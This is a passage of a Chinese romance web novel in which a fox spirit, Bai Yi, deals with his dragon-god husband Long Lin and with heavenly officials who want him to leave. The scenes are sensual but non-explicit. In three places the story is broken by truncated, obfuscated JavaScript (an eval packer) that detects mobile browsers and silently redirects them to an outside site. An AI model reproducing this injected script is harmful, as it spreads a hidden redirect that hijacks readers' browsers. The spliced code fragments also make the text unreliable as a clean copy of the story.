龙霖突然弯腰伸手,白亦吓得闭紧眼睛,爪子死死扒住地砖。预想中的疼痛没来,只听见头顶传来一句:“去拿个笼子来。” 龙霖的声音平静得听不出情绪。 仆从愣了下,瞥见主子脚边那团发抖的白毛球,连忙说好。 白亦被关进了笼里,整只狐缩成雪白的一团,爪子紧紧收着,脑袋深深埋进蓬松的尾巴里。 他听见龙霖问家仆狐狸该吃什么,仆人说狐狸该是喜欢吃□□。 紧接着一只血淋淋的死鸡就被扔到了笼门前。浓重的血腥味激得白亦浑身一颤,毛茸茸的身子抖得更厉害了,几乎要缩成个球。 龙霖皱眉挥手,让人把死鸡撤了下去。 待房门关上,他蹲下身打开笼门,指尖轻轻敲了敲笼框:“变回来。” 他声音不重,却带着不容拒绝的意味。 白亦从尾巴缝里露出一只眼睛,湿漉漉的瞳孔里映着龙霖看不出情绪的脸。他试着动了动爪子,可体内空空如也的丹田让他连最基本的化形都做不到。只能可怜巴巴地“呜”了一声,又把脑袋埋了回去。 龙霖双手一拢,直接把那团白毛球从笼子里掏了出来。白亦蹬着后腿拼命挣扎,却被修长的手指从头到尾捋了一遍,连肚皮和私//密处都没放过。 “果然是只公狐狸。”龙霖捏了捏他后腿,下了结论。 白亦顿时僵住,耳朵尖都羞红了。 龙霖把他举到眼前,这才发现这小狐狸生得极好——雪白的毛发泛着银光,金瞳澄澈得像两汪蜜,鼻头粉嫩嫩的,透着一股灵气,一看就不是一般的狐狸。 “快点变回来。”龙霖又重复了一遍,拇指蹭过小狐狸湿润的鼻头。 白亦被他盯得耳朵直抖,爪子无意识地开合了几下,最后自暴自弃地把浑身一卸载力——不是不想变,是真的变不回去啊。 “你要是不变回来,就把你藏的那些话本全烧了。”龙霖捏了捏狐狸的后颈,威胁道。 白亦突然蹬了下后腿,毛茸茸的爪子啪地按在龙霖脸上。还没等龙霖皱眉,一个湿漉漉的吻就印在了他唇上。有什么温热的东西顺着唇缝渡了过来,龙霖还没反应过来,怀里的白毛团子就突然重了许多—— 龙霖怀里突然一沉。只见那团白毛球眨眼间化作人形,赤裸的身子重重摔在地上,发出一声闷响。白亦疼得“嘶”了一声,侧着身子,雪白的长发铺了满地,显得妖性更重,肌肤越发剔透,双腿也更加修长莹润。 头顶的狐耳不安地抖动着,那条蓬松的尾巴下意识卷起来,堪堪遮住重点部位。 龙霖的手还悬在半空,他目光扫过白亦泛红的膝盖,又落在那条紧张得炸毛的尾巴上,突然觉得喉头发紧。白亦手忙脚乱想找东西遮掩,尾巴却不听话地左摇右摆,反倒把腰臀线条衬得愈发明显。 真的就是妖精。 龙霖一把扯下外袍罩在白亦身上,玄色衣料瞬间裹住那具雪白的身子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488838|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可还没等白亦松口气,手腕就被铁钳似的手扣住,龙霖蹲下身,眼底暗沉:“你刚才就是在吸我的精气?“ 白亦的耳朵瞬间绷直,他想说那本来就是自己的内丹,龙身处处都是宝,自然包括他的体//液,可话到嘴边又卡住,最后只憋出一句:“就……就借了点精气而已……我会还给你的。” 声音越说越小,尾巴尖心虚地卷了起来。 他那颗温养百年的内丹,此刻还在龙霖身体里呢。 龙霖捏着白亦下巴的手紧了紧:“你接近我,是为了吸精气修炼?还是像你那些话本里写的......来报恩的?” 白亦也不知道龙霖什么时候看过他的话本,白亦总不能直说是冲着逆鳞来的,支支吾吾半天也没憋出句完整话。这反应落在龙霖眼里,倒像是坐实了前一种猜测。 “你之前还吸过别的人的精气吗?”龙霖声音又冷了几分。 白亦迟疑着点头,随即感到腕骨被攥得生疼。一些道行浅的小妖,为了掩盖气息偶尔会借凡人点精气——不过是用指尖勾一缕阳气,顶多让人乏倦几日,连头发丝都不会少一根。 可眼下这情形,解释的话在舌尖转了几圈,终究没敢说出口。 因为龙霖看起来很厌恶他的做法。 龙霖的脸色骤然阴沉,在白亦腕上掐出几道红痕:“婚约是假,女子身份是假,白亦,你嘴里还有半句真话吗?” 白亦确实骗了婚约,伪装了性别,甚至就是冲着逆鳞来的。 每一条指控都无可辩驳,只能把脸埋得更低。 “现在给你选。”龙霖突然松开钳制,居高临下地看着他,“要么立刻滚,永远别让我再看见你,要么老老实实待在这里,从今之后做一只好妖。” 白亦怎么可能走?他那颗温养百年的内丹还在龙霖身上,更别说他千里迢迢来找的逆鳞。况且院外那些阵法层层叠叠,就算龙霖真放他走,他也根本出不去。 “我不能离开的,我……” “好。“龙霖斩钉截铁地道,“那你以后就在这里做一只好妖,我会来经常来看你的。” 这哪是给选择。 看着龙霖欲走,他连忙攥着龙霖的衣摆,仰着脸,眼眶发红:“龙霖,你是不是......嫌我是只公狐狸?要休了我。” 声音越说越小,最后几个字几乎听不见。 静竹那日的话像刀子似的刻在他脑子里——无情道,灭情绝爱。等龙霖归位那天,这段荒唐婚事怕是会成为九重天上最大的笑话。 龙霖垂眼看他,眼下投出一片阴影。司晨的警告言犹在耳:妖精最会蛊惑人心,特别是这种修成人形的,专靠皮相骗人,以色侍人。眼前这双湿漉漉的狐狸眼,看起来像是真的在难过。 龙霖硬着心肠说:“别碰我,也别装这副可怜相。” 白亦的眼泪凝在眼眶里,要掉不掉。 他从未见过龙霖这样看自己——仿佛在看什么肮脏的东西。喉头发紧,他想说自己是真的动了心,可话到嘴边又咽了回去。一个骗子说的话,谁会信呢? 大婚那日,白亦穿着嫁衣,轿帘被掀开。龙霖那张俊脸逆着光撞进视线,他心头就漏了一拍。 白亦知道自己在龙霖心里的确罪无可恕。 白亦猛地缩回手,他想起人间那些关于妖物晦气的传言,声音都虚了几分:“我……我不碰你了就是了......" 龙霖没接话,转身时衣角带起一阵凉风,只丢下一句“好好反省”。 两天后龙霖再来时,白亦已经做好了接休书的准备。 没想到对方却拎着食盒,里面全是他爱吃的菜。他不敢像往常那样挨着龙霖坐,特意缩到桌子对面,连夹菜都只敢碰眼前那一盘。 “你这耳朵尾巴——”龙霖突然撂下筷子,开口道,“还得多久才能收回去?“ 白亦去捂头顶支棱的耳朵。他以为龙霖是嫌他这副模样碍眼:“暂时……暂时还变不回去的......” 因为有条尾巴,白亦衣服也不能好好穿。 白亦的尾巴不受控制地左右轻摆,将衣袍后摆顶起一个蓬松的弧度。他不得不半敞着前襟,雪白的衣料虚虚搭在肩头,露出大片如玉的肌肤。 甚至随着尾巴摆动的幅度,衣襟时不时滑落几分,隐约可见精致的锁骨和一抹淡粉。 龙霖突然开口说:“多吸些我的精气,能让你完全变回人形么?” 白亦正埋头扒饭,闻言猛地抬头,一粒米还粘在嘴角:“啊?” 9.出逃 龙霖的话让白亦摸不着头脑,一顿饭吃得心不在焉。等吃完,那人却丝毫没有要走的意思。白亦刚想收拾碗碟,手腕就被一把扣住。 “放着,有人收拾。”龙霖牵着他往内室走,掌心温度烫得惊人。 白亦盯着两人交握的手,直到被松开才回过神。龙霖忽然抬手捏了捏他支棱的狐耳:“你这耳朵和尾巴太碍事了,得收回去。” “我......”白亦耳朵抖了抖,丧气道,“不是我不想......” 龙霖说:“得吸精气是吧。” 话说完,白亦下巴突然被抬起。龙霖低头就吻了下来,惊得白亦尾巴炸毛,瞳孔瞪得滚圆。后颈被牢牢扣住,唇舌长驱直入,比想象中更凶。他腿一软,爪子无意识抓住龙霖前襟,连尾巴尖都绷直了。 龙霖松开他时,白亦整张脸都红透了,唇瓣水润泛着光泽,眼神迷蒙得找不到焦点。他晕乎乎地靠在龙霖怀里,头顶的耳朵还支棱着,尾巴却无意识地缠上了对方的腰。 “怎么还没收回去?”龙霖皱眉捏了捏他发烫的耳尖。 白亦这才回过神——方才光顾着发愣,压根没吸取精气,光龙霖吸他口水了,他支支吾吾道:“可能……是量不够......” 龙霖脸色顿时沉了下来,指腹重重擦过白亦红肿的下唇:“那怎么才够?” 白亦想要的是他那颗内丹,这样短暂的相触只能吸取些龙息,终究不是长久之道,他想起自己把内丹给龙霖的时候,是趁着两人同房之际,可眼下这情形,龙霖怎么可能再与他同房。 犹豫半晌,白亦硬着头皮道:“这点……是不够的,得要更亲密才行……双//修最好了。” 白亦说完,面前的龙霖却不知道想到什么,脸色沉了沉,用无可救药的眼神看着白亦。 “你们妖物难道整日里都是想着这些邪魔歪道,你难道就不可以自己靠着努力修炼。” 白亦听着龙霖话里的鄙夷,想起的确有前辈为了捷径用些偏激的法子修炼,可是他从来没有用过,自己明明规规矩矩修炼了百年,怎么就被归作了一类? 白亦声音发闷,为自己辩解:“不过是借了点精气......我没害人。” 龙霖的眉头皱得更紧,周身气压低得吓人:“你一点反省之心都没有吗?你还是觉得你这样是对的?” 白亦被他盯得发慌,半晌才挤出一句他错了的话,声音轻得像蚊子哼。 可这显然没能让龙霖满意:“你其实心里没半点悔改之意吧。” 龙霖欲转身离开,白亦连忙扯着他的袖子哀求道:“龙霖,我会改的,我以后不会再这样了。” 龙霖的脊背挺得笔直,既没有推开他,也没有回应他。 白亦心一横,踮起脚尖吻了上去,唇瓣相贴的瞬间,他故意放软了嗓音,带着蛊惑:“相公,别这样对我,我好想你……” 可龙霖的眼神依旧清明,垂眸看他的样子仿佛在审视,白亦的吻越发炽热,却暖不化对方眼底的霜雪。 白亦突然想起静竹当初讥诮的问话——“大道无情,龙霖走的是灭情绝爱之路,你凭什么觉得他会为你破戒?” 心脏猛地抽痛起来,白亦眼泪猝不及防就滚了下来,烫得他脸颊生疼。 他当然不确定。 多少次午夜梦回,他也想干脆利落地拿了逆鳞远走高飞,什么都不要多想。 可此刻的泪水不是为了算计落下的,纯粹是胸口那团郁结的酸楚太疼,疼得他不得不哭。 他哭什么呢? 他只是觉得难过罢了。 他怎么能对龙霖动心?明明最初接近的目的那么明确,只是为那片逆鳞而来。他还有那么多未完成的事等着他去做。 龙霖的指尖突然抚上他的脸颊,揩去那滴将落未落的泪,语气依旧冷淡:“哭什么?” “相公,你帮帮我好不好?”白亦的声音带着哭过后的哑,手上动作却大胆起来。他将龙霖推倒在床榻间,跨坐上去时衣摆散开如花瓣。 唇舌先是在对方下唇流连,又顺着脖颈线条一路啃咬至喉结,感受着那处肌肤在齿间的微微颤动。手指灵巧地探入衣襟,沿着肌理分明的腹部缓缓下移。 龙霖的目光始终落在虚空处,只在白亦碰到某个地方时稍稍偏开了头,呼吸乱了半分。 床帐被扯得半落,烛火将两人的影子投在墙上,交叠成暧昧的形状。 白亦今日穿了一件红衣,像极了当年洞房时的嫁衣,衣领滑落时露出小片雪白的肩头,在烛光下泛着莹润的光。 这抹艳色落在龙霖眼里,恍惚间又回到那红烛高烧的喜房。 白亦其实和龙霖亲近总有些胆怯的。 他记得第一次时龙霖被龙性支配的模样,那双清明的眼睛布满欲念,将他死死按在锦被间。白亦的腿根都在发抖,悬在龙霖腰侧的足尖绷得发白,窗幔晃出的残影在他视线里碎成一片。 哭哑了嗓子求饶也没用,龙霖要把他的魂魄都撞散了。 而此刻龙霖是第一次清醒的。 他能看清白亦每一寸泛红的肌肤,被泪水浸湿的睫毛,微微张着喘息的唇,像朵渴极了的花,颤抖着花瓣等他来采撷。 可龙霖只是沉默地看着,仿佛眼前这具诱人的身体与他毫无干系:“……之前我们同房?” 白亦脸颊烧得通红,声音细若蚊呐:“用的后面。” 见龙霖不说话,白亦以为他是嫌弃自己是个男人,犹豫地道:“你若不喜欢……我可以像之前一样……也很舒服的……就像做了一场梦……” 只是话音未落白亦就被猛地推开。 龙霖脸色阴沉得可怕,修长的手指将散开的腰带重新系紧,动作带着压抑的怒意。 白亦还不知道发生了什么,衣衫凌乱地跪坐在榻上,看着那道挺拔的身影转身欲走,慌忙扑上去抱住他的腰:“相公......你说过夫妻一体,不离不弃的,你不能走......” 龙霖一根根掰开他紧扣的手指,还是走了,扔下一句:“…….白亦,收起你那些过往用在我身上的狐媚把戏。” 空荡荡的房间里只剩下白亦一个人。 他蜷缩在床角,抱着膝盖,烛火早已燃尽,窗外的月光冷冷地铺了一地,他就这样坐了一整夜,直到晨光熹微。 心底最后那点侥幸也被碾得粉碎,龙霖果然还是容不下他。 连续几日,龙霖再没来过。 直到这天突然被一声震耳欲聋的巨响惊醒。他赤着脚跑出去,被飞扬的尘土呛得直咳嗽。待烟雾散去,只见原本固若金汤的索妖阵已经碎成齑粉,地上裂开一道狰狞的沟壑。 怀曼叉腰站在废墟中央,身边立着个足有两米高的牛头妖,肌肉虬结的手臂抡着两个骇人的铁锤。 白亦呆立在原地,看着阵法残骸上飘散的灵力余韵。 “不是早说了我会来救你?”怀曼得意地挑眉,拍了拍牛头妖结实的胸膛,“这是我新找的相好。还愣着干什么?快出来啊。” 白亦犹豫:“可我的内丹还在......” 话未说完就被怀曼一把拽进草丛里躲起来。 远处传来急促的脚步声,他屏住呼吸,看着龙霖和司晨出现在废墟前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492889|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 龙霖的脸色比那日离开时还要难看,冲进院子的身影带着罕见的慌乱。不一会儿又疾步而出,竟一把揪住了司晨的衣领,手背青筋暴起,像是下一秒就要挥拳相向。 白亦从没见过这样的龙霖,此刻却像头暴怒的凶兽。 修为大减后,连狐狸的耳力都退化得厉害,白亦只能隐约看见两人嘴唇开合,却听不清内容。 “他们在说什么?”他小声问。 牛妖挠了挠角道:“好像是说要是抓到你,非要扒了你的狐狸皮。” 白亦顿时打了个寒颤,手指不自觉地揪住自己的衣袖。 “走......我们还是走吧。” 怀曼道:“你不要你的内丹了?” 白亦:“……我觉得这样也挺好的。” 至少比变成一张血淋淋的狐皮强。 那牛妖名叫昊焱,生得魁梧,一身腱子肉叫人害怕,偏生在怀曼面前连话都说不利索。 昊焱对怀曼一见钟情,在她摊上买了一个月的豆腐,才结结巴巴地跟她说上了话,惹得怀曼笑弯了腰。 如今三人在竹林安顿下来,他抡着斧头劈柴准备做饭。 怀曼捏着颗野果抛接把玩,忽然伸手捞过白亦的尾巴揉了一把。 那尾巴毛蓬蓬的,比最上等的狐裘还软,只是主人显然不乐意被这么逗弄,手忙脚乱地往衣摆里藏。 “几百年了还是头回见你这么可爱,该不会永远变不回去了吧?” 白亦那对狐耳动了动,尾巴在衣料下拱出起伏的轮廓。 篝火噼啪作响,昊焱烤的野兔滋滋冒油。 怀曼问白亦接下来打算怎么办。 白亦吃得嘴角冒油,嘴巴鼓鼓的:“还是得把内丹拿回来。” “可那真龙身边时时都有神仙守着,”怀曼说,“你连近身都难。” 白亦:“我知道他什么时候身边绝对没有神仙。” 吃饱喝足后。 昊焱施法将他的尾巴藏了起来,他这易容术最多能骗一骗凡人,但若撞上司命或司晨,怕是连个照面都撑不住。 白亦趁着晨雾未散,混在采买的仆役里溜进后院。龙霖如今官运亨通,府邸比从前大了三倍不止。 路过厨房时,两个婆子正凑在井边嚼舌根,说夫人这病不知道什么时候能好?大人最近都心神不宁的。 他裹紧粗布衣裳,低头穿过回廊,直到浴房附近才恢复原形,轻巧地翻上屋檐。 他变成原身蜷在阴影里等得昏昏欲睡,直到水声哗啦响起才猛地惊醒。 白亦一下子就精神了,等到脚步声逐渐少了,他微微探出一只眼睛,就看见龙霖背对着他,脱得只剩一件中衣,再一看就进了浴桶里。 白亦狐爪一弹,一缕淡紫色的迷香无声散开。 龙霖的头渐渐低垂,靠在浴桶边缘一动不动。 白亦身形一晃,化作人形,那条蓬松的狐尾无意识地在身后轻晃,尾尖扫过屏风,带起细微的声响。烛火将他的影子投在墙上,妖异而绮丽。 他随手捞起龙霖搭在屏风上的外袍披在肩头,衣料上还残留着熟悉的冷松香。 赤足踩在湿润的青砖上,每一步都轻得像猫。 白亦蹲下身停在浴桶边,看着龙霖被水汽蒸得微红的脸庞,喉结不自觉地滚动。 他凑过去,嘴唇几乎贴上对方的唇瓣,龙霖体内沉寂已久的内丹正被原主的气息牵引着缓缓苏醒。 白亦大喜。 就在内丹慢慢出来的刹那,龙霖骤然睁眼——那双本该迷蒙的眸子清明如寒潭,倒映着白亦瞬间惨白的脸。 10.渡劫 四目相对。 龙霖的视线如铁钳般牢牢锁住白亦,那双深不见底的眼眸里翻涌着危险的暗流。 白亦试探性地在他眼前晃了晃手,下一秒手腕就被炙热的手掌狠狠扣住,指腹传来的温度烫得惊人。 迷药怎么会失效?他本能地想要抽身后退,却被龙霖猛地拽向前方。 伴随着哗啦一声巨响,浴桶里的热水四溅开来,白亦整个人重重跌进水中,后腰撞在坚硬的桶壁上,激起一阵钝痛。 那件外袍落在了浴桶外面,白亦挣扎着坐起身时,长发湿漉漉地贴在颈侧,不断往下滴水。他胡乱抹了把脸,蒸腾的热气在两人之间缭绕,本就狭小的浴桶因为挤进两个成年男性而显得更加逼仄。 白亦的膝盖无意间蹭到龙霖的大腿,隔着湿透的衣料能清晰感受到对方紧绷的肌肉线条。 白亦被热水呛得连声咳嗽,等他终于能看清眼前景象时,视线不经意往下一扫,龙霖精壮的身躯毫无遮掩地袒露在氤氲水汽中,肌肤上还滚着晶莹的水珠。 他慌乱地别开眼,却发现自己无论往哪边躲,难免都会触碰到龙霖的身体,他也是□□,这太危险了。 “我、我马上出去......”白亦结结巴巴地说着,后背紧贴着浴桶边缘往外挪,龙霖突然伸手扣住他的腰,完全压在身下。 蒸腾的热气模糊了白亦的视线,只能感觉到龙霖灼热的呼吸喷在发顶:“你又想去哪了?” 白亦刚咬住下唇,房门就被人猛地踹开。 司晨握着扇子冲进来,那句“妖精”还没喊出口就卡在了喉咙里。他僵在原地,扇面“啪”地一声掉在地上,眼睛死死盯着桶里姿态不雅的两人,脸色青白交加:“你们......这是在做什么?” 白亦身子往下缩,恨不得把自己完全躲进龙霖身下,水波随着他的动作轻轻晃动,龙霖感受到他的小动作,垂眸投来一记警告的眼神。 龙霖的声音不紧不慢地响起,带着几分危险的慵懒:“你瞎了吗?你说我在干什么?滚出去!” 恐怕只有龙霖作为凡人才能如此胆大包天地对神仙说出这种话。 司晨那张脸此刻精彩纷呈,嘴唇开开合合却发不出声音,而后捡起扇子同手同脚地退了出去,还顺便把门带上了。 天,这哪还是那个端方自持的龙霖?他从未见过对方眼底翻涌着这样赤裸的欲念,真,真是禽兽。 而后不久白亦听见外面传来一声闷响,像是有人撞在了廊柱上。 龙霖松开钳制的手,他起身跨出浴桶,水珠顺着肌肉的沟壑滑落,在烛光下泛着光泽,他拿起搭在屏风上的衣物往身上穿。 白亦仍蜷缩在浴桶里,指尖扒着桶沿,探出半个脑袋,他想起龙霖说要剥他狐狸皮的场景,声音细如蚊呐:“我只是来取样东西,取完就走,没想害人……” 龙霖系衣带的动作顿了顿,半敞的衣襟露出大片胸膛。 他转身时,烛火在眉骨投下锋利的阴影:“出来。” 两个字砸在地上,惊得白亦湿润的耳尖一抖。 白亦湿漉漉的长发黏在颈侧,撑着桶壁站起身时,双手抱在胸前,龙霖的目光像刀子般刮过他的全身,而后一件雪白外衫突然兜头扔来。 白亦接住,而后小心翼翼的试探:“不然我不要那东西了,你我走……好不好?” “你觉得呢?” 白亦看见龙霖眼底有些冰冷的怒焰,一时有些慌了,闭上了嘴,他往后退,准备跳窗逃出去。 白亦被龙霖眼底那簇冰冷的怒焰刺得一颤,喉间的话顿时咽了回去。 他下意识想要打开窗棂出逃,结果却在指尖触到窗框的刹那被一道金光狠狠弹了回来。 禁咒的余波震得他手腕发麻,在白皙的皮肤上留下一道红痕,白亦狼狈趴在地上。 “这里被设了阵法,没有我你出不去的。“ 白亦咬着下唇没动,眼眶微微泛红:“你还是把我休了吧。” 反正你又不喜欢我,这句话没敢说出口。 白亦还没来得及反应,下一刻腰间突然一紧。龙霖抄起一件他脱下的长衫兜头罩下,白亦眼前一黑,整个人已经被打横抱起。他挣扎着去扯蒙在头上的衣衫,却在颠簸中碰到龙霖滚烫的胸膛。 穿过回廊时夜风拂过脚踝,紧接着就被扔进柔软的床榻里。 锦被上绣的花纹磨过掌心,龙霖的气息铺天盖地压下来,将他所有未尽的言语都堵在了喉间。 白亦掀开罩在头上的衣衫,他怔怔地环顾四周,那日被他撞碎的一切的东西如今完好如初地摆在案几上。 龙霖的声音从头顶落下:“这就是你的家,你还要去哪?” 白亦的指尖无意识地揪紧了被角:“可是我是妖啊……人妖殊途……” 龙霖的眉头蹙起,他伸手捏住白亦的下巴,强迫对方抬头:“你以后做一只好妖,不许用你那些邪门歪道修行。” 白亦想挣开他的手,无济于事,只能睁大眼睛:“可我是个男人,你也不介意吗?” 龙霖俯身:“你长这样,是男子女子有分别吗?” “明明骗人的是你,我就是让你在别院反省些日子,你居然好意思跑?” 白亦突然又有希望地开口:“你不休我吗?” “我说过的话,永远不会倒,你只要做只好妖,你永远都会是龙夫人。” 白亦望着龙霖近在咫尺的面容,那双总是凌厉的眉眼此刻竟透出几分罕见的柔和。心想狐族前辈们果然没有说错,神仙都是重诺的,即使打心底里并不是那么喜欢,厌恶的,也会死死守着诺言。 他能留在龙霖身边了,这本该是值得高兴的事。可龙霖如今每说一个字,都像细小的银针往他心尖上扎。 白亦垂下眼:“你身边那个......道士容不下我。” 龙霖指尖卷起白亦一缕湿发,拥住他:“放心,你不作恶,他不敢动你,离别的妖物远一些,你以后就是人。” 白亦盯着晃动的月斑,觉得它们像极了狐谷里会发光的萤草,他可是当了几百年的妖,如今龙霖却居然让他当人。 在龙霖眼里,大概所有妖族大概都是面目可憎的嗜血之徒吧?包括现在被他搂在怀里的这个。 龙霖的手掌温暖干燥,落在白亦身上,像是安抚受惊的小动物。 龙霖恩施的姿态像是大发慈悲原谅了他。 可是,只要能呆在他身边,白亦也别无所求了。 府里这几日闲话不断,下人们交头接耳地议论着。夫人先前突然离府,说是去别院养病,大人那段时间的脸色阴沉得吓人,活像被人戴了绿帽似的。如今夫人又悄无声息地回来了,大人的脸如同冰雪消融。 新聘任的管家特意召集全府训话,说夫人病体未愈需要静养,无事不要去打扰。 白亦倚在窗边,指尖凝聚一点的妖力。 他对着空中轻轻一吹,那妖力便化作一只漆黑的乌鸦,扑棱棱地飞起来,他传给怀曼的信,写着不必寻他,也不必忧心。他会留在龙霖身边,直到取得那片传说中的逆鳞。 关于逆鳞的传说他听过太多版本,但唯有那个能令堕魔者清醒的功效让他记到现在。哪怕要付出不可承受代价,他也一定要得到那片龙鳞,那之后他就任凭龙霖处置。 白亦身边就一个服侍的李婆婆,他本就不喜欢有人伺候。 转眼半年过去,龙霖官运亨达,一跃成为当今陛下的红人。 京中落了今冬第一场雪。 白亦醒来时,枕畔早已凉透。 龙霖去上朝,床帐细心掖好,没让半点寒气透进来。这半年来他们夜夜同榻而眠,却始终隔着一层说不清道不明的距离。 偶尔龙霖情动,也不过是草草了事,从不会过分纠缠。事后总是习惯性地将人揽进怀里,手掌搭在白亦腰间,却不许白亦有别的小动作。 窗外的雪簌簌落下,在檐角积了薄薄一层。 最让白亦难堪的是每月妖力不稳时,耳朵尾巴不受控制地冒出来,不得不向龙霖讨要龙息的时候。那人总会突然变得恶劣,将他圈在臂弯里,手指有一搭没一搭地揉捏着敏感的耳尖和尾巴,却又不肯给个痛快。龙息渡过来时总是断断续续,像逗弄宠物般。 白亦别过脸去说我生气了。 龙霖手指捏住他的下巴尖,拇指蹭着他的脸,触到微微鼓起的腮帮子,玩弄着他的脸说真的吗? 白亦那股子气性顿时像被戳破,噗地泄了个干净。 取回内丹一日推着一日,龙霖根本就不给他机会。 狐谷四季如春,白亦以前没见过雪,推开窗的时候伸手接了一片雪花,很快消融在手里。 李婆婆将一件披风轻轻搭在白亦肩头。突然院中积雪忽然无风自动,扬起细碎的雪沫。白亦瞳孔微缩,抬手示意李婆婆去厨房取汤,老人家看不见那两位凭空出现的访客,听命出去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505141|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白亦看着雪地的两个神仙,面露警惕:“你们想做什么?龙霖不会让你们伤我的。” 司命手中的笔转了个圈,他与司晨交换个眼神,这半年来龙霖将这狐狸精护得密不透风,他们费尽周折才寻到今日这个空隙。 “放心,”司晨展开折扇,挡住飘落的雪花,”我们不是来找你麻烦的。” 白亦欲关窗:“我跟你们没什么好说的。” “即使这件事关乎龙霖,你也不想听吗?” 屋内有余炭的旺热。 司晨和司命大着胆子打量了一番龙霖的居所。 白亦催促说:“你们到底想说什么?” 司命手中凭空现出一本命册,纸页翻动时发出沙沙轻响。 “你之前肯定听过我们的谈话吧,龙霖此番下凡渡的是情劫。与之渡劫的对象,本该是一同下凡的静竹公主。” 白亦没否认。 司晨接话,扇骨敲在掌心发出清脆的啪嗒声:“魔界近日新立了位魔君,正在往生河畔集结兵力,龙霖归位迫在眉睫,偏生出了你这个变数。” 白亦听到“魔君”二字时,指甲深深掐进掌心。 魔界游离于三界之外,那里没有日月轮转,只有永夜与厮杀,弱肉强食是唯一的法则,往生河畔堆积着森森白骨,河水常年泛着诡异的幽绿色。 新晋的魔君踏着尸山血海登上王座,魔界没有道德伦常,只有最原始的杀戮欲望在支配着每个活物。 因此三界中人每每提起魔界时也会不自觉地忌惮。 龙霖不归位,也意味着白亦也迟迟拿不到逆鳞,要等到龙霖在凡间的肉身寿终正寝,顿悟复身,白亦没有那么多时间。 他喉结滚动了下:“......那怎么办?” 司命:“我今日找到你,就是想让你帮龙霖渡过这次情劫。” 白亦惊讶道:“我帮龙霖渡劫?你什么意思?” 司命翻着他的册子,而后痛心地道:“你还没明白吗?现在的问题是,龙霖根本对静竹公主没那个意思!” 白亦露出了个你又是怎么知道的神情,他没这么笨,之前这几个神仙,一个两个都说什么天命不可违,龙霖迟早会喜欢上静竹的,拼命踩他,现在怎么又要他帮忙渡劫。 司晨的折扇“唰”地合拢,看出面前这小狐狸精所想,还是年纪太小,想什么藏不住,扇骨敲在掌心发出清脆的啪嗒声:“你也知道龙霖这个人死心眼得很,他又堪称咱们九重天品德数一数二的神仙,既然跟你成亲,即使心系他人也断然不会做出伤害你的事。” 司命听着司晨说出品德数一数二这几个字的时候,嘴角微微有些抽搐。 “你想,他跟静竹公主根本就没故事发生,这一切都是因为你?” 白亦犹豫点头。 “那我又问你,你到底想不想他好,想不想他早日归位铲除魔君,想不想三界太平?” 白亦果然中他的招道:“我自然是想他好的。” 三界太平这事他倒没太考虑。 “那你便代替静竹的位置,送往异国和亲,助他早日渡劫。” 白亦闻言猛地抬头看着他。 可是龙霖就该归位的。 * 龙霖踏着未停的雪归来,朝服上还带着未散的寒意。白亦接过他披风时,细碎的雪粒簌簌落下。 “最近怎么总是这么晚?”他低声抱怨着,手指拂过龙霖肩头残留的雪痕,“饭菜热了三回都不见人影,还让不让人吃饭了。” 龙霖忽然抬手,指腹擦过白亦后颈,激得他一个激灵往后缩。 龙霖眉眼此刻染着几分笑意:“这么怕冷?” 白亦觉得龙霖心眼坏死了。 厨房新端来的菜肴冒着热气,龙霖拉着白亦的手腕入座说:“陪我再吃点。” 白亦坐在他身侧,龙霖朝冠已经取下,几缕散发垂在额前,柔和了平日的凌厉。 “朝中近日为是否出兵北燕吵得不可开交,于是大家都不能走。” 白亦托腮:“那你觉得会打起来吗?” 龙霖说:“北燕新帝好战成性,这一仗避无可避。” “今天怎么不开心?”龙霖见白亦今日心不在焉突然问。 白亦摇摇头:“打仗会死很多人吧?又会有很多人受苦吧。” 龙霖紧握着他的手,拍了拍他的手背以示安慰。 窗外是天寒地冻,但屋里是暖的。 11.和亲 夜色深沉,龙霖吹灭烛火,窗外雪光透过纱帐,映出床榻上交叠的身影。 白亦从龙霖背后贴上来,手臂环住他的脖颈,微凉的指尖无意识地摩挲着他凸起的喉结。 龙霖身上总是暖的,像块温润的暖玉,白亦贪恋这份温度,总爱往他怀里钻。 龙霖扯过锦被,将两人严严实实裹住。 白亦睡觉喜欢穿得单薄,中衣松松垮垮的,稍一动作便滑落肩头,露出大片白皙的肌肤。 此刻他整个人蜷在龙霖怀中,像只寻求温暖的猫儿,膝盖抵在龙霖腿间,脚背蹭着他结实的小腿。 龙霖向来睡姿端正,此刻却被白亦翻来覆去的亲吻扰得不得安宁,小狐狸在他怀里拱,于是湿软的唇瓣有意无意擦过他的锁骨,又辗转至下巴。 被缠得紧了,龙霖终于伸手扣住白亦的腰,说别动。 